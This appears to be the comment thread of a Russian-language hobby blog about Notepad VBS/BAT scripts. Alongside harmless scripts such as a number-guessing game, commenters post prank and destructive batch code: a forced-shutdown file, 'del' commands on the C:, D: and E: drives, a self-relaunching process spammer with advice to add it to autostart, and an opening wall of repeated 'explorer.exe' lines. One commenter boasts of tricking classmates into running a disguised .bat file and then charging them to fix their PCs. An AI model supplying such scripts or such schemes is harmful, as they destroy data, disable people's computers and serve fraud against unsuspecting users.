explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exeexplorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
explorer.exe
@echo off
shutdown -s -t 3 -c computer crash

лол, это тупая игрушка на бат, я также с легкостью могу сказать что я хакер, сделав за минуту батник, который копирует себя в автозагрузку и включает компьютер, только твоей игрушкой никому не навредить, а я одноклассников на бабло разводил, на настоящее, тупо подхожу с флешкой, говорю «на, тут все серии наруто, запусти файл.bat и наслаждайся. Через 5 минут звонит растерянный ламер и бормочет что у него комп вырубился и не включается. Я прихожу. за сотку включаю с винды безопасный режим, через кмд делитаю файл из автозагрузки, халявная сотка, здравствуй

мда вы решили создавать вирусятины…

Попробуй написать:
x=msgbox(«Ваш компьютер уничтожиться!»,0+48,»ЛОЛ!»

Тот самый он который звонит в киберполиццию

можно усовершенствовать вот
@echo off
:a
expiorer.exe
goto a

@олег, а что произойдёт, если написать этот скрипт? Это не вирус? Мой комп не взорвется?

@вава, а я очень сильно боюсь писать этот скрипт в vbs, боюсь, что мой комп лопнет. Скажи пж, это безопасный скрипт?

эй давай вместе создавать вирус у меня один есть если хочеш связатся то мой вк flapi flapik

Здравствуй. Спасибо, все работает. Можешь ,пожалуйста написать, как сделать так, чтоб голос включал определённый mp3 файл на компе. Пожалуйста.

ЭЙ! у меня касперский ругается на privet.txt!

А сделай варианты ответа чтобы на да или нет было действие. Спасибо за статью

10 win тоже работает

все работает виндувс 8 и все топ

на windows 8 работает

1. Григ Автор записи 04.03.2016 в 11:46

Кавычки нужно проверить, может вы копируете и вставляете с елочками «_», а в коде нужны лапки ”_“

Я написал лапки и не работает

На Windows 8 надо использовать кавычки вот такие «»

Надо вместо ЁЛОЧКИ писать и всё КЛАСНО

Согласен, еще ошибка : недопустимый знак

Просто этот чудик сделал не верно.Он сказал комп не читает кавычки в виде »
а сам их и напихал,замените все кавычки » на ковычки «» и все просто таже проблема была

Заменить кавычки на ковычки чел ты просто гений

кавійки надо поставить «такие» а не такие как написано там

А ты пробовал заменить <> на «кавычки обычные»?

вот, все работает. Все елочки заменил на » , плюс еще ругалось в 25-й и 28-й строке на тире, вместо минуса.

Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «Я загадал число от 1 до 100, попробуй отгадать»,64,»Угадайка»
Do
a = a + 1
c = InputBox(«Угадай число» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число !» & vbCrLf & vbCrLf & «Для выхода оставьте поле пустым» & vbCrLf & vbCrLf,»Угадайка»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True :
Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c) Number Then MsgBox «Нет,это не » & c & «. Я загадал число меньше»,64,»Угадайка»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («Правильно, это было число » & c & «. Начать заного?»,36,»Угадайка») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «Это не число!»,16,»Угадайка»
a = a-1
End If
Else
a = a-1
l = MsgBox («Ты ничего не ввел. Выйти из программы?»,36,»Угадайка»)
If l = 6 Then WScript.Quit
End If
Loop
loop

там все >>заменить на «

У меня выдает ошибку но работает

а дисковод есть то на пк, или декоративная заглушка стоит?

Вот программа, которая удаляет всё, с компьютера.
@echo off
del e:/*.*
del d:/*.*
del c:/*.*
Сохраняем в разширении: .bat, пример: Script.bat

Не благодарите, пожалуй.
P.S. (Не делайте такое на своём компьютере, убьёте его).

Ты в курсе, что просто чистишь рабочий стол этим скриптом?

-ТВОЙ КОМП: ЖОПА ГОРИТ

не знаю как в 8, в 10 не работает потому что сидиром открывается за счет обращения к Windows media player которого в 10 нет)
p/s прочитал статью убил время в инете)

В Windows 8, 10 Windows media player есть.

Интересная штучка. Лично у меня скрипт тоже выдает ошибку, но при том дисковод открывается

не знаю, у меня на 8 работает ВСЕ без каких либо ошибок

у меня 8.1, работает

а на виндовс 10 работает!

Там написано какая строка?

Знаешь у меня тоже такое но дисковод вылезает на семёрке на 8 тоже должно.

Тоже самое, но на 7 и 10 получилось.

ПРОВЕРЬ с кодом нету ли у тебя продолжении как у меня в конце точка с запятои [не в этом коде]

Объясните «чайнику»-я скачала,но еще не запустила Akapella Alena 22k + Balabolka (2011)pc .Будет ли у меня русский и нужна ли балаболка? СПАСИБО.

А про маленькую шутку я вообще ничего не поняла- что за шутку получат друзья? Еще раз ,СПАСИБО.

Прошу прощения,на второй комментарий можно не отвечать,я поняла

1. ГРИГ Автор записи 12.09.2012 в 11:29

=) Ну в принципе вы установили голосовой движок (русский) и этого достаточно, а балаболка — хорошая штука, я например ее настроил более мене прилично и она мне читает книги))

1. ГРИГ Автор записи 12.09.2012 в 12:57

Это Вам спасибо, рад, что смог как-то помочь, заходите почаще!

вот шутка про дисковод..при запуске от говорит об ошибке.мол депустимый знак в 1 строке 29 символ

1. Григ Автор записи 08.01.2013 в 18:25

Проверьте может опечатка где в тексте, а система у вас какая?

По моему надо заменить этот символ: одну кавычку («) на другую («)

? короче на такую, ту почему-то не пишет (где буква Э, на английском, с shift-ом (»))

а у меня семёрка и всё ровно пишет при открытии любых vbs выскакивает Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408

1. Григ Автор записи 21.02.2013 в 05:58

Проверьте может ошибка синтаксическая, в принципе в коде ошибок нет, работает все нормально. Пробел лишний не в том месте поставили, вообще все так же если по порядку сделать как описано в посте, то должно все нормально запускаться.

А через батник интересно можно научить windows говорить…
И если не трудно то можно ли столбиком написать все bat -команды с пояснениями к ним?

1. Григ Автор записи 28.02.2013 в 07:42

Если я вас правильно понял, вы хотите что то типа справочника bat? т.е. команда и обозначение того самого батника, если так то может чуть позже займусь этим.

да,именно это я и имел ввиду.
Сможете это сделать?

Люди что делать. Я скачал архив и разархивировал. Начинаю открывать Vbs файл и ничего не происходит.(антивирус выключен, windows 7 максимальная)

Set WMPlayer = CreateObject(«WMPlayer.OCX.7?)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

все правильно вписал ,все сделал даже попробовал в юникоде сохранить но не помогает! вылазит ошибка

1. Григ Автор записи 28.02.2013 в 07:43

А какая ошибка выходит?

Скрипт проверил, (Win7 32bit), все работает прекрасно дисковод открывается. У вас система какая? просто на Windows XP бывают ошибки.

У меня windows 7 /32 bit
При использовании скрипта про открытие/закрытие дисковода вылазит вот такая ошибка:

Сценарий: D:\1.vbs
Строка 1
Символ 29
Ошибка: Недопустимый знак
Код 800A0408
Источник: Ошибка компиляции Microsoft VBScript

1. Григ Автор записи 28.02.2013 в 18:47

Такс…насчет «справочника», пока не знаю, возможно в скором времени подготовлю, но кончено не полный, а то все bat команды собрать…можно сума сойти =) так самые интересные может и соберем. А насчет данного скрипта, попробуйте вот скачать — http://ocompah.ru/123.rar и так попробуйте запустить после разархивации.

Ваш сохраненный скрипт работает!, а тот что пишу я нет…
Вы не могли бы сохранить созданный вами скрипт в формате txt? чтоб я посмотрел в чем моя ошибка?

1. Григ Автор записи 01.03.2013 в 13:18

Да вы просто нажмите правой кнопкой мыши на файл и выберите «изменить», где и откроется через блокнот.

все,разобрался со скриптом,большое вам спасибо!

Буду теперь с нетерпением ждать появление «справочника»
по .bat командам

1. Григ Автор записи 02.03.2013 в 08:12

Постараюсь как можно скорее написать, но увы, сейчас пока нет времени.

да у меня такое было но дисковод открывался

На Windows XP ошибки быть не может если правильно ввести

Проблема с как научим компьютер «разговаривать» выдает 800а0408 ошибка компиляции что я не так делаю подскажите плиз

1. Григ Автор записи 11.03.2013 в 07:59

Скорее всего синтаксическая ошибка, попробуйте проверить нет ли лишних пробелов, кавычки попробуйте не копировать а в ручную писать, если что отпишитесь.

Я разобрался подскажите а он по русски разговаривать может
Заранее спасибо.

1. Григ Автор записи 11.03.2013 в 07:58

Конечно может если установлен голосовой движок.

Отличная статейка. Увлекла 😉

На windows vista что то не получается.

1. Григ Автор записи 17.03.2013 в 12:48

Что, тоже ошибка компиляции выходит?

Как продвигается составление «справочника»? очень жду.
Заранее спасибо за ответ.
Начинал с vbs,bat сейчас на Delphi перешёл)
Большое спасибо за ваши статьи,помогли в своё время.

я всё сделал создал на когда я открываю блокнот с кодом выдаёт ошибку(((почему.

1. Григ Автор записи 29.04.2013 в 18:45

ошибка возможно синтаксическая, посмотрите не пропустили ли какой нибудь знак, может пробел лишний.

как установить голосовой движок

1. Григ Автор записи 08.05.2013 в 10:46

Скачать и просто установить как и другие программы

сообщите мне адрес справочника по батникам очень хочу то что я писал неработало а скачал и заработало!! класс из етим дисководом получилось у брата на ноуте запущу)))))

Здесь на форуме ковычки другие! В любом коде, заместо » пишем, стандартные «

А можете ссылку дать на скачивания»Алёны»
а то нормальную не могу найти

1. Григ Автор записи 06.11.2013 в 19:48

Вот вам торрент ссылка на голосовой движок «Алена» — скачать

у меня виндовс 8 и у меня не че не получается то ест … все коды папробывал

Я на 8 пробовал только дисковод.
Кавычки обычные.
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
Попробуй так

Странно он в комментах при вставке сам делает другие кавычки.
В общем на 8 такие ( » ) и такая же закрыть.

И опять он их изменил.ППц просто. На 8 две запятых вверху — это начало и две вверху- конец

а от куда я знаю вдруг файл завирусован

1. Григ Автор записи 31.10.2014 в 12:45

Вас никто не заставляет, ваше право, вы беспокоитесь за свою безопасность, здесь нет ничего такого.

А как сделать батнике много открываний?

В итоге как решили вопрос с ошибкой компиляции, у меня также выдает ошибку
800а0408 ошибка компиляции

А вы вконтакте есть? Дайте ссылку пожалуйста

У меня вопроспо поводу сайта. Как только я открываю 1 часть данной статьи меня перекидывает сюда.

1. Григ Автор записи 05.08.2016 в 18:52

Я обновил статьи и теперь по скриптам в блокноте одна запись. Нету смысла плодить множество маленьких однообразных статей. Здесь в основном те же скрипты и батники, что были написаны когда-то в первой и во второй частях, только лучше изложено.

Все сделал как надо.Даже ошибку в коде исправил,так то писало что неверный символ(и я не про «)
Скрин:http://radikal.ru/lfp/s017.radikal.ru/i435/1608/70/8b3232295094.png/htm
OC Windows 7 Максимальная x64
Встречал такое оформление в игре(TES 5:Sryrim)Где имя персонажа и название которые я лично давал предмету писалось такими символами.Не знаю как это связано.
Чем поможете?

винда 8.1 все супер работает

юху я все сделал на обычном блокноте просто исправил некоторые ошибки

здравствуйте.Я заменил все ёлочки на лапки,а при открытие файла выдаёт ошибку

Что то не получается в 1-ом пишет строка 1 символ 1

Для работы этого скрипта нужно заменить ёлочки на лапти, а также тире на минус (a = a — 1).

За скрипт спасибо, а ленивым, кто не может читать текст ошибки и немного подумать — фу.

Я заменил всё ёлочки на лапти

У вас криво написано «Угадайка» (скрипт)
Знаки не те и всё время выдаёт ошибки!
Я уже закалибался исправлять их.

Вот рабочий «Угадайка». На Windows XP проверил.

Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «Я загадал число от 1 до 100, попробуй отгадать»,64,»Угадайка»
Do
a = a + 1
c = InputBox(«Угадай число» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число !» & vbCrLf & vbCrLf & «Для выхода оставьте поле пустым» & vbCrLf & vbCrLf,»Угадайка»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True : Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c) Number Then MsgBox «Нет,это не » & c & «. Я загадал число меньше»,64,»Угадайка»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («Правильно, это было число » & c & «. Начать заново?»,36,»Угадайка») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «Это не число!»,16,»Угадайка»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («Ты ничего не ввел. Выйти из программы?»,36,»Угадайка»)
If l = 6 Then WScript.Quit
End If
Loop
loop

как открыть программу Excel на заданное количество времени и закрыть ее?

Написал скрипт на приветствие » Привет пончик» у подруги, и она пошла худеть )))

Может кто подсказать как написать скрипт, что бы по указанному времени звук переключался с наушников на колонки? Ночью люблю засыпать слушая музыку в наушниках, что бы никому не мешать, а утром нужен громкий будильник с колонок, поэтому и интересуюсь.

Привет! Подскажи, пожалуйста, скрипт который автоматически отправляет сообщение на маил при включении виндовс.
Например, меня нет дома, но включили мой ноут. И мне пришло сообщение на электронный адрес об этом пуске.
Как написать?
Один нашел в инете, он был .js , но не смог его настроить и запустить..

Здравствуйте не подскажите как сделать просто окна для вопросов типо: ты ел? ответы : да или нет и и при нажатие ответа выскакивал другой вопрос и те же ответы )

угадайка на «восьмерке» не работает.. все варианты перепробовал из тех что советовали

Здравствуйте.
Игра «Угадайка» не запускается. Выдаёт ошибку. Что делать?

Заного в угадайке!Как исправить?

Скрипт автозагрузки не работает. Хотел сделать чтоб с помощью автозагрузки загружался другой файл, добавлял в реестр, составлял скрипт, файл не запускается при перезагрузке, а если добавить в папку «автозагрузка» то всё работает нормально. Винда 7 Х64 . . . Что делать ?

Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «привет я загадал число от 1 до 100, попробуй отгадать»,64,»Угадайка»
Do
a = a + 1
c = InputBox(«Угадай число» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число !» & vbCrLf & vbCrLf & «Для выхода оставьте поле пустым» & vbCrLf & vbCrLf,»Угадайка»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True : Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c) Number Then MsgBox «Нет,это не » & c & «. Я загадал число меньше»,64,»Угадайка»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («Правильно, это было число » & c & «. Начать заного?»,36,»Угадайка») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox » ето не число!»,16,»Угадайка»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («Ты ничего не ввел.Ты хочешь выйти из программы?»,36,»Угадайка»)
If l = 6 Then WScript.Quit
End If
Loop
loop

У Меня получилось я кинул своим друзьям угадайку и там есть установка и я снял её на ютуб

Могу дать ТУ ПУ Ю игру в Бат
@echo off
CLS
title spinner
Color 9f
Echo.
Echo.
Echo.
Echo. ______________
Echo. ! !
Echo. ! SPINNER ! Tap ANY KEY for start
Echo. ! !
Echo «»»»»»»»»»»»»»»»
:A
Color 26
echo *. *
echo. *
echo. *. *
pause>nul
echo. *
echo *. *. *
echo. *
goto A

Для кручения вертушки зажмите любую клавишу

Отредактируйтн пробелами ↑↑↑ звездочки, чтобы получились «плюсик» сверху и «крестик» ниже

Вот вам вирус
@echo off
CLS
:A
start calc.exe
start nitepad.exe
start Archiver.bat
goto A
Сохранить как Archiver.bat (ТАКЖЕ С БЛОЬШОЙ БУКВЫ ИЛИ СКРИПТ НЕ СРАБОТАЕТ ПОЛНОСТЬЮ. )
Для более жесткого эффекта добавьте в код прописку в автозагрузку
Описание:
Это вирус спаммер который бесконечно открывает блокнот, калькулятор и СЕБЯ, чтобы удалением нельщя было остановить процесс открывания

просто пропиши
:a
start cmd
goto :a

попробовал написал «привет чувак» — всё получилось

Незаметно кому-то подкинуть «выключку» и поставить на автозапуск.

Запустил… пишет строка 1 ошибка: нету слова «sai» Что это значит? (нету слова — это я сказал по другому но смысл один!)

я в игре сделал так что еси больше 10 ошибок то актевируется вирус (шутка) с бесконечными окнами ,я дал сыграть другу и когда он набрал больше 10 ошибок начели открываться бесконечные окна я так угарал с его лица

Слишком сложно и не понятно.

Здравствуйте.
Можно ли создать скрипт для вызова из контекстного меню в любой папке, чтобы в этой папке менялся тип группировки и сортировки файлов на заранее заданный? Если да — то как? Спасибо.

как можно писать программи без знания англиского языка

Вин 8.1. Приветствие и автозагрузка сохраненные через notepad++ работают без проблем. Через автозагрузку можно запускать другие программы. Удаление скриптов при сохранение через блокнот выдало ошибку, через notepad++ ошибку не выдает. Остальное не пробывал.

почему у меня не работает ни один код?

ребята помогите пожалуйста, как сделать что бы команда «C:\WINDOWS\system32>netsh wlan start hostednetwork» автоматически запускалась при старте компьютера от имени администратора (windows 10)

Может быть коряво, но работает. Добавил ограничение по количеству попыток, так интересней

Set y = CreateObject(«Scripting.FileSystemObject»)

If x = 1 or x = 2 or x = 3 Then x = 4

MsgBox «Я загадал число от 1 до 100, попробуй отгадать его.» & vbCrLf & «Попытки ограниченны!» & vbCrLf & «Количество попыток: «& x & vbCrLf,64,»Guess Random Number»

k = InputBox(«Угадай число. » & «Попытка: » & a & » из » & x & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число!» & vbCrLf & vbCrLf & «Для выхода нажмите Отмена или оставьте поле пустым» & vbCrLf & vbCrLf,»Guess Random Number»)

If k = «число» Then MsgBox «Хитрый какой! Ладно, я загадал число » & Number & «… Просто напиши его и давай уже закончим со всем этим…»,48,»Подсказка!»

If IsNumeric(k) = True Then

MsgBox «Число должно быть в диапозоне от 0 до 100.»,48,»Guess Random Number»

If CInt(k) < Number and a < x and k Number and a < x and k < 101 Then MsgBox "Нет, это не " & k & "." & vbCrLf & "Я загадал число меньше этого.",64,"Guess Random Number"

If CInt(k) Number and a = x and k < 101 Then MsgBox "Нет, это не " & k & "." & vbCrLf & "Я загадал число " & Number & ", но ты его не угадал!",64,"Guess Random Number"

If CInt(k) = Number Then

Set y = CreateObject("Scripting.FileSystemObject")

If MsgBox ("Правильно, это было число " & k & vbCrLf & "Использованно попыток: " & a & " из " & x & vbCrLf & "Начать заного?",36,"Guess Random Number") = 6 Then Exit Do Else WScript.Quit

If k «число» Then MsgBox «Я угадываю числа, а не буквы!»,16,»Guess Random Number»

l = MsgBox («Выйти из программы?»,36,»Guess Random Number»)

If l = 6 Then WScript.Quit

Set y = CreateObject(«Scripting.FileSystemObject»)

G = MsgBox («Попробовать еще?»,36,»Game Over!»)

If G = 6 Then Exit Do Else WScript.Quit

крч смотрите… как быть если комп не знает с помощью какой программы производить — Set sapi=CreateObject(«sapi.spvoice»)
sapi.Speak «Hello!»

Кто в макросах хорошо шарит??

Здравствуйте а вы не можете зделать статью про символы и знаки что бы я/мы могли понимать что написано

Можно ли потом будет убрать скрипт из автозагрузки вручную если
Dim vOrg, objArgs, root, key, WshShell
root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
KeyHP = «Program»
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»

У кого не работают скрипты, меняйте при сохранении кодировку на ANSI вместо UTF-8